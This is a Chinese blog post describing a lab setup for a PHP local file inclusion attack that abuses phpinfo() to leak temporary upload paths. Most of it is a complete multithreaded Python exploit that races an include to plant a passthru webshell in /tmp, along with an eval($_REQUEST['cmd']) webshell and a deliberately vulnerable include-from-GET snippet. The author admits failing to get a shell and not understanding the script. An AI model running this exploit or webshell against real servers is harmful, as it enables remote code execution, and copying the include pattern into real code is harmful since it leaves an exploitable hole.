[LFI]Phpinfo本地文件包含漏洞环境搭建分析

原创 2016年08月29日 23:44:09

0x00

本地文件包含漏洞即网站未对用户可控变量进行控制,导致用户可以控制包含变量。

0x01

参考wooyun上的教程中遇到问题如下:

Can not  connect to the docker deamon

权限不够,docker未提示,指令前加sudo

sudo docker run –rm -p “8901:80” janes/lfi_phpinfo

LP}B[0@MX3)}%YQV@N%_$LB

8901为本机端口,80为容器端口,即将容器80端口映射至本机8901端口

janes/lfi_phpinfo为容器仓库名

本机80端口占用问题一直未解决,明明kill了所有80端口进程

最后还是未能成功取得shell.还是因为本机端口与代码默认端口不同,利用指定端口指令,以代码出错告终。

0x03

upload.html

<!doctype html>
<html>
<body>
    <form action="phpinfo.php" method="POST" enctype="multipart/form-data">
    <h3> Test upload tmp file</h3>
    <label for="file">Filename:</label>
    <input type="file" name="file"/><br/>
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

file.txt


<?php
eval($_REQUEST["cmd"]);
?>

教程中将file.txt上传至upload.html中,再利用phpinfo泄露的临时文件路径


temp文件命名规则为:php+a-zA-Z0-9

temp文件一般在我们反应过来之前就自己删除了。

因此我们需要借助一些手段来延长他的消失时间,就是时间竞争

0x04

一种post大量数据,数据会分块传输,加长传输时间

#!/usr/bin/env pyhon
# -*-coding: utf-8 -*-

"""
php 处理脚本执行完后再删除临时文件,间隔时间极短
"""

import sys
import threading
import socket
import logging
from argparse import ArgumentParser

logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)


def setup(host, port):

    tag = "Security Test"
    boundary = '---------------------------11008921013555437861019615112'#分隔符
    #

    # php_path maybe '/lfi_phpinfo' or ''
    php_path = ''

    payload = "{tag}\r\n".format(tag=tag)
    payload += '<?php $c=fopen("/tmp/gc", "w");fwrite($c, \'<?php passthru($_GET["f"]);?>\');?>'

    req_data = '--{b}\r\n'.format(b=boundary)
    req_data += 'Content-Disposition: form-data; name="file"; filename="file.txt"\r\n'
    req_data += 'Content-Type: text/plain\r\n'
    req_data += '\r\n'
    req_data += '{payload}\r\n'.format(payload=payload)
    req_data += '--{b}--'.format(b=boundary)

    # padding for delay php server delete tmp file
    # 这种方式是phpinfo返回发送的头信息,信息过大的话就采用分块传输,padding增加了传输时间,根据需要改
    padding = 'A' * 8000

    req = 'POST {path}/phpinfo.php?a={padding} HTTP/1.1\r\n'.format(path=php_path, padding=padding)
    req += 'Host: {host}\r\n'.format(host=host)
    req += 'Cookie: othercookie={padding}\r\n'.format(padding=padding)
    req += 'User-Agent: {padding}\r\n'.format(padding=padding)
    #req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
    req += 'Accept: {padding}\r\n'.format(padding=padding)
    req += 'Accept-Language: {padding}\r\n'.format(padding=padding)
    req += 'Accept-Encoding: {padding}\r\n'.format(padding=padding)
    req += 'Content-Type: multipart/form-data; boundary={b}\r\n'.format(b=boundary)
    req += 'Content-Length: {l}\r\n'.format(l=len(req_data))
    req += 'Connection: close\r\n'
    req += '\r\n'
    req += '{data}'.format(data=req_data)

    # modify this to suit the LFI script
    lfi_req = 'GET {path}/lfi.php?load=%s HTTP/1.1\r\n'.format(path=php_path)
    lfi_req += 'Connection: Keep-alive\r\n'
    lfi_req += 'Host: %s\r\n'
    lfi_req += '\r\n'

    return (req, tag, lfi_req)



def lfi_phpinfo(host, port, phpinfo_req, offset, lfi_req, tag):
    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s1.connect((host, port))
    s2.connect((host, port))

    s1.sendall(phpinfo_req)
    data = ""
    while len(data) < offset:
        data += s1.recv(offset)

    try:
        index = data.index("[tmp_name] =>")
        fn = data[index+17: index+31]
    except ValueError as e:
        err_msg = "fetch temp file path error: {e}".format(e=e)
        log.error(err_msg)
        return None

    s2.sendall(lfi_req % (fn, host))

    data = s2.recv(4096)

    # debug
    log.debug(data)

    s1.close()
    s2.close()

    if data.find(tag) != -1:
        return fn


counter = 0


class ThreadWorker(threading.Thread):

    def __init__(self, event, lock, maxattempts, *args):
        threading.Thread.__init__(self)
        self.event = event
        self.lock = lock
        self.maxattempts = maxattempts
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = lfi_phpinfo(*self.args)
                if self.event.is_set():
                    break
                if x:
                    info_msg = "\nGot it! Shell created in /tmp/g"
                    log.info(info_msg)
                    self.event.set()
            except socket.error:
                return


def getoffset(host, port, phpinfo_req):
    """Gets offset of tmp_name in php output
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(phpinfo_req)

    data = ""
    while True:
        rcv_data = s.recv(4096)

        data += rcv_data
        if rcv_data == "":
            break

        # detect the final chunk
        if rcv_data.endswith("0\r\n\r\n"):
            break

    s.close()

    # debug
    #log.debug(data)

    index = data.find("[tmp_name] =>")
    if index == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    info_msg = "found {file} at {index}".format(file=data[index:index+10], index=index)
    log.info(info_msg)

    # padded up a bit
    return index+256


def main():

    banner = "LFI with phpinfo()\n"
    banner += "=" * 30
    print(banner)

    usage = "python {prog} host [port] [threads]. -h for help".format(prog=sys.argv[0])

    parser = ArgumentParser(usage=usage)
    parser.add_argument('host', help="ip or domain, e.g. 127.0.0.1")
    parser.add_argument('-p', dest='port', type=int, default=80,
            help="port, default is 80")
    parser.add_argument('-t', dest='threads', type=int, default=10,
            help="use n threads to access, default is 10")
    args = parser.parse_args()

    host = args.host
    port = args.port
    poolsz = args.threads

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        err_msg = "Error with hostname {h}:{err}".format(h=sys.argv[1], err=e)
        log.error(err_msg)
        sys.exit(1)

    info_msg = "Getting initial offset ..."
    log.info(info_msg)

    req, tag, lfi_req = setup(host, port)

    #debug_msg = '\n\n'.join([req, tag, lfi_req])
    #log.debug(debug_msg)

    offset = getoffset(host, port, req)

    sys.stdout.flush()

    maxattempts = 500
    event = threading.Event()
    lock = threading.Lock()

    tp = []

    for i in range(poolsz):
        tp.append(ThreadWorker(event, lock, maxattempts, host, port, req, offset, lfi_req, tag))

    for t in tp:
        t.start()

    try:
        while not event.wait(0.5):
            if event.is_set():
                break
            with lock:
                sys.stdout.write("\r\n% 4d / % 4d\n" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break

        if event.is_set():
            info_msg = "Wowo! \m/"
        else:
            info_msg = ":("
        log.info(info_msg)

    except KeyboardInterrupt:
        info_msg = "\nTelling threads to shutdown..."
        log.info(info_msg)
        event.set()

    info_msg = "Shutting down..."
    log.info(info_msg)

    for t in tp:
        t.join()

if __name__ == "__main__":
    main()

代码太长了,看不懂,不开森=-=

另一种方式即利用循环包含,层层嵌套,形成一个死循环,使temp文件一直存在

SIGSEGV:一种异常停止信号

<FORM ENCTYPE="multipart/form-data"ACTION="http://127.0.0.1/upload.php?c=upload.php" METHOD=POST>

File to process: <INPUT NAME="userfile1"TYPE="file">

<INPUT TYPE="submit" VALUE="Send File">

</FORM>

<?php

$a=$_GET['c'];

include $a;

?>

然后利用phpinfo泄露路径或者爆破文件名

0x05参考文献

http://drops.wooyun.org/web/13249

http://mp.weixin.qq.com/s?__biz=MzA4NzM0ODk0Nw==&mid=2649577458&idx=1&sn=485509d5fd3e0dcac1fb52543ffea46d&scene=0#wechat_redirect




版权声明:本文为博主原创文章,未经博主允许不得转载。

EMLOG漏洞 | 敏感信息泄漏phpinfo-代码审计

Emlog是一款个人博客系统,使用的人还是非常多的,小巧方便,对于个人站长来说是一个建站的不错选择。今天要公布一个危害轻微的漏洞:phpinfo暴露敏感信息   其实这个漏洞也不算什么吧,以后视...
  • dyboy2017
  • dyboy2017
  • 2017年12月24日 22:03
  • 208

利用本地包含漏洞执行任意代码

1 概述   文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要...
  • cnbird2008
  • cnbird2008
  • 2013年01月19日 19:37
  • 18900

LFI(本地文件包含)获取Webshell

本地文件包含在Web渗透测试中时不时的会遇到。之前遇到本地文件包含的时候,最多就是证明一下:比如包含“/etc/passwd”。有利用本地文件包含来进行Getshell的,之前是略有耳闻的,这两天看相...
  • bnxf00000
  • bnxf00000
  • 2015年10月11日 12:18
  • 1743

php本地文件包含&远程文件包含

本地文件包含&远程文件包含
  • think_ycx
  • think_ycx
  • 2016年04月07日 12:49
  • 2994

PHP文件包含漏洞详解

http://tieba.baidu.com/p/2310282657 什么是”远程文件包含漏洞”?服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包...
  • xysoul
  • xysoul
  • 2015年06月30日 00:10
  • 3593

[LFI]Phpinfo本地文件包含漏洞环境搭建分析

0x00 本地文件包含漏洞即网站未对用户可控变量进行控制,导致用户可以控制包含变量。 0x01 参考wooyun上的教程中遇到问题如下: Can not  connect to the docker ...
  • qq_21604717
  • qq_21604717
  • 2016年08月29日 23:44
  • 1189

php LFI读php文件源码以及直接webshell

小菜无意中看到大牛的一篇文章,看后觉得很受益,所以就转载过来了。 之前只知道“include”语句是包含并运行指定文件,遇到的话也只是找上传点然后getshell。 看来这篇文章后,才知道还可以读...
  • eT48_sec
  • eT48_sec
  • 2015年01月05日 14:13
  • 556

PHP本地文件包含漏洞环境搭建与利用

0x00 简介 php本地文件包含漏洞相关知识,乌云上早有相应的文章,lfi with phpinfo最早由国外大牛提出,可参考下面两篇文章。利用的原理是利用php post上传文件产生临时文件...
  • qq_27446553
  • qq_27446553
  • 2016年03月19日 21:03
  • 518

LFI漏洞利用总结

主要涉及到的函数 include(),require()、include_once(),require_once() magic_quotes_gpc()、allow_url_fopen()、allo...
  • ncafei
  • ncafei
  • 2017年03月14日 23:20
  • 1349

文件包含漏洞

文件包含漏洞0x01 产生原因在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入分类 本...
  • Le0nis
  • Le0nis
  • 2016年07月27日 11:13
  • 4364
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:[LFI]Phpinfo本地文件包含漏洞环境搭建分析
举报原因:
原因补充:

(最多只允许输入30个字)